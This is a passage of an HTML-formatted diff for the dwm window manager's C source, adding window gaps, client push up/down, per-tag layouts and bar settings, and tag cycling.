+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XSetWindowBorder(dpy, c-&gt;win, dc.colors[1][ColBorder]);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XSetInputFocus(dpy, c-&gt;win, RevertToPointerRoot, CurrentTime);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;else<br />
@@ -1139,7 +1215,7 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;wc.border_width = c-&gt;bw;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XConfigureWindow(dpy, w, CWBorderWidth, &amp;wc);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;XSetWindowBorder(dpy, w, dc.norm[ColBorder]);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;XSetWindowBorder(dpy, w, dc.colors[0][ColBorder]);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;configure(c); /* propagates border_width, if size doesn't change */<br />
 &nbsp;&nbsp;&nbsp;&nbsp;updatesizehints(c);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XSelectInput(dpy, w, EnterWindowMask|FocusChangeMask|PropertyChangeMask|StructureNotifyMask);<br />
@@ -1189,7 +1265,7 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(n &gt; 0) /* override layout symbol */<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;snprintf(m-&gt;ltsymbol, sizeof m-&gt;ltsymbol, "[%d]", n);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;for(c = nexttiled(m-&gt;clients); c; c = nexttiled(c-&gt;next))<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resize(c, m-&gt;wx, m-&gt;wy, m-&gt;ww - 2 * c-&gt;bw, m-&gt;wh - 2 * c-&gt;bw, False);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resize_orig_gapless(c, m-&gt;wx, m-&gt;wy, m-&gt;ww - 2 * c-&gt;bw, m-&gt;wh - 2 * c-&gt;bw, False);<br />
 }<br />
 <br />
 void<br />
@@ -1235,7 +1311,7 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;togglefloating(NULL);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!selmon-&gt;lt[selmon-&gt;sellt]-&gt;arrange || c-&gt;isfloating)<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resize(c, nx, ny, c-&gt;w, c-&gt;h, True);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resize_orig_gapless(c, nx, ny, c-&gt;w, c-&gt;h, True);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;} while(ev.type != ButtonRelease);<br />
@@ -1330,6 +1406,65 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;}<br />
 }<br />
 <br />
+Client *<br />
+prevtiled(Client *c) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *p, *r;<br />
+<br />
+&nbsp;&nbsp;&nbsp;&nbsp;for(p = selmon-&gt;clients, r = NULL; p &amp;&amp; p != c; p = p-&gt;next)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!p-&gt;isfloating &amp;&amp; ISVISIBLE(p))<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r = p;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;return r;<br />
+}<br />
+<br />
+void<br />
+pushup(const Arg *arg) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *sel = selmon-&gt;sel;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *c;<br />
+<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(!sel || sel-&gt;isfloating)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if((c = prevtiled(sel))) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* attach before c */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;detach(sel);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sel-&gt;next = c;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(selmon-&gt;clients == c)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;clients = sel;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(c = selmon-&gt;clients; c-&gt;next != sel-&gt;next; c = c-&gt;next);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c-&gt;next = sel;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;} else {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* move to the end */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(c = sel; c-&gt;next; c = c-&gt;next);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;detach(sel);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sel-&gt;next = NULL;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c-&gt;next = sel;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;focus(sel);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;arrange(selmon);<br />
+}<br />
+<br />
+void<br />
+pushdown(const Arg *arg) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *sel = selmon-&gt;sel;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *c;<br />
+<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(!sel || sel-&gt;isfloating)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if((c = nexttiled(sel-&gt;next))) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* attach after c */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;detach(sel);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sel-&gt;next = c-&gt;next;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c-&gt;next = sel;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;} else {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* move to the front */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;detach(sel);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;attach(sel);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;focus(sel);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;arrange(selmon);<br />
+}<br />
+<br />
 void<br />
 quit(const Arg *arg) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;running = False;<br />
@@ -1345,6 +1480,20 @@<br />
 resizeclient(Client *c, int x, int y, int w, int h) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XWindowChanges wc;<br />
 <br />
+&nbsp;&nbsp;&nbsp;&nbsp;c-&gt;oldx = c-&gt;x; c-&gt;x = wc.x = x + gappx;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;c-&gt;oldy = c-&gt;y; c-&gt;y = wc.y = y + gappx;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;c-&gt;oldw = c-&gt;w; c-&gt;w = wc.width = w - 2 * gappx;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;c-&gt;oldh = c-&gt;h; c-&gt;h = wc.height = h - 2 * gappx;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;wc.border_width = c-&gt;bw;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;XConfigureWindow(dpy, c-&gt;win, CWX|CWY|CWWidth|CWHeight|CWBorderWidth, &amp;wc);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;configure(c);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;XSync(dpy, False);<br />
+}<br />
+<br />
+void<br />
+resize_orig_gapless(Client *c, int x, int y, int w, int h, Bool interact) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;XWindowChanges wc;<br />
+<br />
 &nbsp;&nbsp;&nbsp;&nbsp;c-&gt;oldx = c-&gt;x; c-&gt;x = wc.x = x;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;c-&gt;oldy = c-&gt;y; c-&gt;y = wc.y = y;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;c-&gt;oldw = c-&gt;w; c-&gt;w = wc.width = w;<br />
@@ -1353,7 +1502,7 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XConfigureWindow(dpy, c-&gt;win, CWX|CWY|CWWidth|CWHeight|CWBorderWidth, &amp;wc);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;configure(c);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XSync(dpy, False);<br />
-}<br />
+ }<br />
 <br />
 void<br />
 resizemouse(const Arg *arg) {<br />
@@ -1494,7 +1643,7 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(!arg || !arg-&gt;v || arg-&gt;v != selmon-&gt;lt[selmon-&gt;sellt])<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;sellt ^= 1;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(arg &amp;&amp; arg-&gt;v)<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;lt[selmon-&gt;sellt] = (Layout *)arg-&gt;v;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;lt[selmon-&gt;sellt] = selmon-&gt;lts[selmon-&gt;curtag] = (Layout *)arg-&gt;v;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;strncpy(selmon-&gt;ltsymbol, selmon-&gt;lt[selmon-&gt;sellt]-&gt;symbol, sizeof selmon-&gt;ltsymbol);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(selmon-&gt;sel)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arrange(selmon);<br />
@@ -1512,13 +1661,15 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;f = arg-&gt;f &lt; 1.0 ? arg-&gt;f + selmon-&gt;mfact : arg-&gt;f - 1.0;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(f &lt; 0.1 || f &gt; 0.9)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;mfact = f;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;mfact =&nbsp;&nbsp;selmon-&gt;mfacts[selmon-&gt;curtag] = f;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;arrange(selmon);<br />
 }<br />
 <br />
 void<br />
 setup(void) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XSetWindowAttributes wa;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Monitor *m;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned int i;<br />
 <br />
 &nbsp;&nbsp;&nbsp;&nbsp;/* clean up any zombies immediately */<br />
 &nbsp;&nbsp;&nbsp;&nbsp;sigchld(0);<br />
@@ -1544,18 +1695,37 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;cursor[CurResize] = XCreateFontCursor(dpy, XC_sizing);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;cursor[CurMove] = XCreateFontCursor(dpy, XC_fleur);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;/* init appearance */<br />
-&nbsp;&nbsp;&nbsp;&nbsp;dc.norm[ColBorder] = getcolor(normbordercolor);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;dc.norm[ColBG] = getcolor(normbgcolor);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;dc.norm[ColFG] = getcolor(normfgcolor);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;dc.sel[ColBorder] = getcolor(selbordercolor);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;dc.sel[ColBG] = getcolor(selbgcolor);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;dc.sel[ColFG] = getcolor(selfgcolor);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;for(int i=0; i&lt;NUMCOLORS; i++) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.colors[i][ColBorder] = getcolor( colors[i][ColBorder] );<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.colors[i][ColFG] = getcolor( colors[i][ColFG] );<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.colors[i][ColBG] = getcolor( colors[i][ColBG] );<br />
+&nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;dc.drawable = XCreatePixmap(dpy, root, DisplayWidth(dpy, screen), bh, DefaultDepth(dpy, screen));<br />
 &nbsp;&nbsp;&nbsp;&nbsp;dc.gc = XCreateGC(dpy, root, 0, NULL);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XSetLineAttributes(dpy, dc.gc, 1, LineSolid, CapButt, JoinMiter);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(!dc.font.set)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XSetFont(dpy, dc.gc, dc.font.xfont-&gt;fid);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;/* init bars */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* init tags */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(m = mons; m; m = m-&gt;next)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m-&gt;curtag = m-&gt;prevtag = 1;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* init mfacts */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(m = mons; m; m = m-&gt;next) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(i=0; i &lt; LENGTH(tags) + 1 ; i++) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m-&gt;mfacts[i] = m-&gt;mfact;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* init layouts */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(m = mons; m; m = m-&gt;next) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(i=0; i &lt; LENGTH(tags) + 1; i++) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m-&gt;lts[i] = initlayouts[i] &amp;&amp; initlayouts[i] &lt; LENGTH(layouts) ? &amp;layouts[initlayouts[i]] : &amp;layouts[0];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* init bars */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(m = mons; m; m = m-&gt;next) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(i=0; i &lt; LENGTH(tags) + 1; i++) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m-&gt;showbars[i] = m-&gt;showbar;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;updatebars();<br />
 &nbsp;&nbsp;&nbsp;&nbsp;updatestatus();<br />
 &nbsp;&nbsp;&nbsp;&nbsp;/* EWMH support per view */<br />
@@ -1571,6 +1741,42 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;grabkeys();<br />
 }<br />
 <br />
+int<br />
+shifttag(int dist)<br />
+{<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int i, curtags;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int seltag = 0;<br />
+<br />
+&nbsp;&nbsp;&nbsp;&nbsp;curtags = selmon-&gt;tagset[selmon-&gt;seltags];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;for(i = 0; i &lt; LENGTH(tags); i++) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((curtags &amp; (1 &lt;&lt; i)) != 0) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;seltag = i;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+<br />
+&nbsp;&nbsp;&nbsp;&nbsp;seltag = (seltag + dist) % LENGTH(tags);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(seltag &lt; 0)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;seltag += LENGTH(tags);<br />
+<br />
+&nbsp;&nbsp;&nbsp;&nbsp;return 1 &lt;&lt; seltag;<br />
+}<br />
+<br />
+void<br />
+cycle(const Arg *arg)<br />
+{<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Arg a = { .i = shifttag(arg-&gt;i) };<br />
+&nbsp;&nbsp;&nbsp;&nbsp;view(&amp;a);<br />
+}<br />
+<br />
+void<br />
+tagcycle(const Arg *arg)<br />
+{<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Arg a = { .i = shifttag(arg-&gt;i) };<br />
+&nbsp;&nbsp;&nbsp;&nbsp;tag(&amp;a);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;view(&amp;a);<br />
+}<br />
+<br />
 void<br />
 showhide(Client *c) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(!c)<br />
@@ -1666,7 +1872,7 @@<br />
 <br />
 void<br />
 togglebar(const Arg *arg) {<br />
-&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;showbar = !selmon-&gt;showbar;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;showbar = selmon-&gt;showbars[selmon-&gt;curtag] = !selmon-&gt;showbar;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;updatebarpos(selmon);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XMoveResizeWindow(dpy, selmon-&gt;barwin, selmon-&gt;wx, selmon-&gt;by, selmon-&gt;ww, bh);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;arrange(selmon);<br />
@@ -1686,12 +1892,27 @@<br />
 void<br />
 toggletag(const Arg *arg) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;unsigned int newtags;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned int i;<br />
 <br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(!selmon-&gt;sel)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;newtags = selmon-&gt;sel-&gt;tags ^ (arg-&gt;ui &amp; TAGMASK);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(newtags) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;sel-&gt;tags = newtags;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(newtags == ~0) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;prevtag = selmon-&gt;curtag;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;curtag = 0;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!(newtags &amp; 1 &lt;&lt; (selmon-&gt;curtag - 1))) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;prevtag = selmon-&gt;curtag;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (i=0; !(newtags &amp; 1 &lt;&lt; i); i++);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;curtag = i + 1;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;sel-&gt;tags = newtags;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;lt[selmon-&gt;sellt] = selmon-&gt;lts[selmon-&gt;curtag];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;mfact = selmon-&gt;mfacts[selmon-&gt;curtag];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (selmon-&gt;showbar != selmon-&gt;showbars[selmon-&gt;curtag])<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;togglebar(NULL);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arrange(selmon);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;}<br />
 }<br />
@@ -1711,7 +1932,7 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(!c)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;grabbuttons(c, False);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;XSetWindowBorder(dpy, c-&gt;win, dc.norm[ColBorder]);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;XSetWindowBorder(dpy, c-&gt;win, dc.colors[0][ColBorder]);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(setfocus)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XSetInputFocus(dpy, root, RevertToPointerRoot, CurrentTime);<br />
 }<br />
@@ -1959,11 +2180,29 @@<br />
 <br />
 void<br />
 view(const Arg *arg) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned int i;<br />
+<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if((arg-&gt;ui &amp; TAGMASK) == selmon-&gt;tagset[selmon-&gt;seltags])<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;seltags ^= 1; /* toggle sel tagset */<br />
-&nbsp;&nbsp;&nbsp;&nbsp;if(arg-&gt;ui &amp; TAGMASK)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(arg-&gt;ui &amp; TAGMASK) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;tagset[selmon-&gt;seltags] = arg-&gt;ui &amp; TAGMASK;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;prevtag = selmon-&gt;curtag;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(arg-&gt;ui == ~0)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;curtag = 0;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (i=0; !(arg-&gt;ui &amp; 1 &lt;&lt; i); i++);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;curtag = i + 1;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;} else {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;prevtag= selmon-&gt;curtag ^ selmon-&gt;prevtag;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;curtag^= selmon-&gt;prevtag;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;prevtag= selmon-&gt;curtag ^ selmon-&gt;prevtag;<br />
